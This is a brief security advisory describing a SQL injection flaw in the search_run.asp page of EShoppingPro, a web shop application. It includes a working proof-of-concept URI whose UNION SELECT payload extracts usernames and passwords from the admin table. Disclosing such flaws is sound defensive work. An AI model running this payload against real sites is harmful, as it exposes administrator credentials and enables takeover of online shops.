|
EShoppingPro Search_Run.ASP SQL Injection Vulnerability
Attackers can exploit this issue via a web client. The following proof-of-concept URI is available: http://www.example.com/[path]/search_run.asp?keyword=-1&category=-1&order='%20union%20select%200,0,0,Username,Password,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20admin&x=-1&y=-1 |
|
|
Privacy Statement |
